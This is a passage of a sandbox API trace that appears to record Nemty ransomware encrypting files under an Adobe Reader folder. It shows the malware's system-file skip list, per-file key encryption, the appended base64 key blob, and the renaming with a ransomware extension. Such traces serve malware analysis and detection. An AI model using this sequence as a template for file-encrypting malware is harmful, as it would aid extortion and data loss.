[0175.883] CloseHandle (hObject=0x2e8) returned 1 [0175.883] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0175.883] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0175.883] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0175.883] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Services\\*.*", lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f24da0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1c799270, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1c799270, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3440ee8, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423af0 [0175.884] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0175.884] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f24da0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1c799270, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1c799270, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3440ee8, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0175.884] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0175.884] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0175.884] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f24da0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9480, dwReserved0=0x3440ee8, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0175.884] lstrcmpiW (lpString1="DEXShare.asfx", lpString2=".") returned 1 [0175.884] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="..") returned 1 [0175.884] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="...") returned 1 [0175.884] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="windows") returned -1 [0175.884] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="$RECYCLE.BIN") returned 1 [0175.884] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="rsa") returned -1 [0175.884] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="NTDETECT.COM") returned -1 [0175.884] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="ntldr") returned -1 [0175.884] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="MSDOS.SYS") returned -1 [0175.884] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="IO.SYS") returned -1 [0175.884] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="boot.ini") returned 1 [0175.884] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="boot.ini") returned 1 [0175.884] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="AUTOEXEC.BAT") returned 1 [0175.884] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="ntuser.dat") returned -1 [0175.884] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="desktop.ini") returned 1 [0175.884] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="CONFIG.SYS") returned 1 [0175.884] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="RECYCLER") returned -1 [0175.884] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="BOOTSECT.BAK") returned 1 [0175.884] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="bootmgr") returned 1 [0175.884] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="programdata") returned -1 [0175.884] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="appdata") returned 1 [0175.884] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.884] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0175.884] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0175.884] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0175.884] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0175.885] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0175.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0175.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.885] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0175.885] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x653e5a0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0175.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.885] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0175.885] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x653e5d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0175.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0175.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0175.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0175.885] Sleep (dwMilliseconds=0x5) [0175.888] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x1c7bf3d0, dwHighDateTime=0x1d561e8)) [0175.888] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x1c7bf3d0, dwHighDateTime=0x1d561e8)) [0175.888] GetLastError () returned 0xb7 [0175.888] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0175.888] GetLastError () returned 0xb7 [0175.888] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.888] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0175.888] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0175.888] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0175.888] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0175.889] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0175.889] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0175.889] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e29c | out: pszString="GWMuu6dSQkTtn2hKVABtiIgSsQaY3bP3u1mWK4utaEPiUT5TUGjAi7fmknxNnodq\r\nZMQvmEq+XWu+LbApXK+69rhEGDc3Qk4tnaZmaWKanQwlroju7UeWitMCVAoVYKBx\r\n/wxYI6kM0G8BAMKH1t/bcRtn4Z+1ent5lWzKRKDlW0PdeuDhtcK29SLhCZsCUv0T\r\n9W0HsDo2Acn8pSzy+gidj2y4+ZoPy6xDKPE7hGzyIsrNiVb2OdJJEPyh13PAQGBb\r\nx4vH46ppB9x71Ju8RKtxp5DntUrECrd95Z8xIzdwv+wpjlJeQguuGAqztbhF4iqN\r\ni97iw9cvXAmsR1BwB50auQ==\r\n", pcchString=0x653e29c) returned 1 [0175.889] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0175.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0175.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0175.889] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0175.889] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0175.889] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0175.889] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\services\\dexshare.asfx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0175.889] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=38016) returned 1 [0175.889] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x9480) returned 0x6352c48 [0175.889] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.889] ReadFile (in: hFile=0x2f0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x9480, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e4e4*=0x9480, lpOverlapped=0x0) returned 1 [0175.893] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.893] WriteFile (in: hFile=0x2f0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x9480, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e4dc*=0x9480, lpOverlapped=0x0) returned 1 [0175.893] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0175.893] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=38016, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9480 [0175.893] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340100*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340100*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0175.894] CloseHandle (hObject=0x2f0) returned 1 [0175.894] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0175.894] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0175.894] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0175.894] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0175.894] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0175.894] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0175.894] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0175.894] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0175.894] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0175.894] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0175.894] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\services\\dexshare.asfx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Services\\DEXShare.asfx._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\services\\dexshare.asfx._nemty_kgobjgd_")) returned 1 [0175.894] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0175.894] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0175.894] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0175.894] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0175.894] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0175.894] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0175.895] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.895] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0175.895] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f24da0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe7, dwReserved0=0x3440ee8, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="SERVIC~1.ASF")) returned 1 [0175.895] lstrcmpiW (lpString1="Services.asfx", lpString2=".") returned 1 [0175.895] lstrcmpiW (lpString1="Services.asfx", lpString2="..") returned 1 [0175.895] lstrcmpiW (lpString1="Services.asfx", lpString2="...") returned 1 [0175.895] lstrcmpiW (lpString1="Services.asfx", lpString2="windows") returned -1 [0175.895] lstrcmpiW (lpString1="Services.asfx", lpString2="$RECYCLE.BIN") returned 1 [0175.895] lstrcmpiW (lpString1="Services.asfx", lpString2="rsa") returned 1 [0175.895] lstrcmpiW (lpString1="Services.asfx", lpString2="NTDETECT.COM") returned 1 [0175.895] lstrcmpiW (lpString1="Services.asfx", lpString2="ntldr") returned 1 [0175.895] lstrcmpiW (lpString1="Services.asfx", lpString2="MSDOS.SYS") returned 1 [0175.895] lstrcmpiW (lpString1="Services.asfx", lpString2="IO.SYS") returned 1 [0175.895] lstrcmpiW (lpString1="Services.asfx", lpString2="boot.ini") returned 1 [0175.895] lstrcmpiW (lpString1="Services.asfx", lpString2="boot.ini") returned 1 [0175.895] lstrcmpiW (lpString1="Services.asfx", lpString2="AUTOEXEC.BAT") returned 1 [0175.895] lstrcmpiW (lpString1="Services.asfx", lpString2="ntuser.dat") returned 1 [0175.895] lstrcmpiW (lpString1="Services.asfx", lpString2="desktop.ini") returned 1 [0175.895] lstrcmpiW (lpString1="Services.asfx", lpString2="CONFIG.SYS") returned 1 [0175.895] lstrcmpiW (lpString1="Services.asfx", lpString2="RECYCLER") returned 1 [0175.895] lstrcmpiW (lpString1="Services.asfx", lpString2="BOOTSECT.BAK") returned 1 [0175.895] lstrcmpiW (lpString1="Services.asfx", lpString2="bootmgr") returned 1 [0175.895] lstrcmpiW (lpString1="Services.asfx", lpString2="programdata") returned 1 [0175.895] lstrcmpiW (lpString1="Services.asfx", lpString2="appdata") returned 1 [0175.895] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.895] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0175.895] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0175.895] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0175.895] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0175.895] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0175.895] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0175.895] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.895] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.896] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0175.896] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x653e5a0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0175.896] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.896] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.896] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0175.896] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x653e5d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0175.896] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.896] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0175.896] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0175.896] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0175.896] Sleep (dwMilliseconds=0x5) [0175.903] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x1c7e5530, dwHighDateTime=0x1d561e8)) [0175.903] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x1c7e5530, dwHighDateTime=0x1d561e8)) [0175.903] GetLastError () returned 0x0 [0175.903] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0175.903] GetLastError () returned 0x0 [0175.904] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.904] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0175.904] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0175.904] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0175.904] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0175.904] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0175.904] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0175.904] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e29c | out: pszString="HKD/XmJZbPs5iz0jQEcRMBlBOCL5TGlZ/N9aGKROSvxwHcYWHmHmb4oZimU5yv0K\r\nA3OsfJ7EnG0/D0A76OKd5JtsfeyqXKRtAIzy1VNiZfqK2isCsyP2vh3xvY7TWbVs\r\ntkHIXwsVNfIvlifGvL+gV2bklCHcPuOjyA8XrtO92vTIkqHPu0652i3OBP0/sTKa\r\nwXl0oisN7hlU2hJidGmTnXJ6znAKsAvWDs7Knyq/INCe9EJpZ3T1byNpm3SuCUgr\r\n0fglDnog2qcL3e0gnrGsZLbYdq8um1Bct0W0LTrut7xnKG3OQVSc1Ot0Sp6XrduQ\r\nvDIHWLlvexdHFJjl6LhDKA==\r\n", pcchString=0x653e29c) returned 1 [0175.904] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0175.904] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0175.904] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0175.904] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0175.904] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0175.904] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0175.904] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\services\\services.asfx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0175.905] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=231) returned 1 [0175.905] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340270 [0175.905] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.905] ReadFile (in: hFile=0x2f0, lpBuffer=0x6340270, nNumberOfBytesToRead=0xe0, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x6340270*, lpNumberOfBytesRead=0x653e4e4*=0xe0, lpOverlapped=0x0) returned 1 [0175.906] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.906] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340270*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340270*, lpNumberOfBytesWritten=0x653e4dc*=0xe0, lpOverlapped=0x0) returned 1 [0175.906] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0175.906] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=231, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe7 [0175.906] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340100*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340100*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0175.906] CloseHandle (hObject=0x2f0) returned 1 [0175.906] RtlAllocateHeap (HeapHandle=0x4f90000, 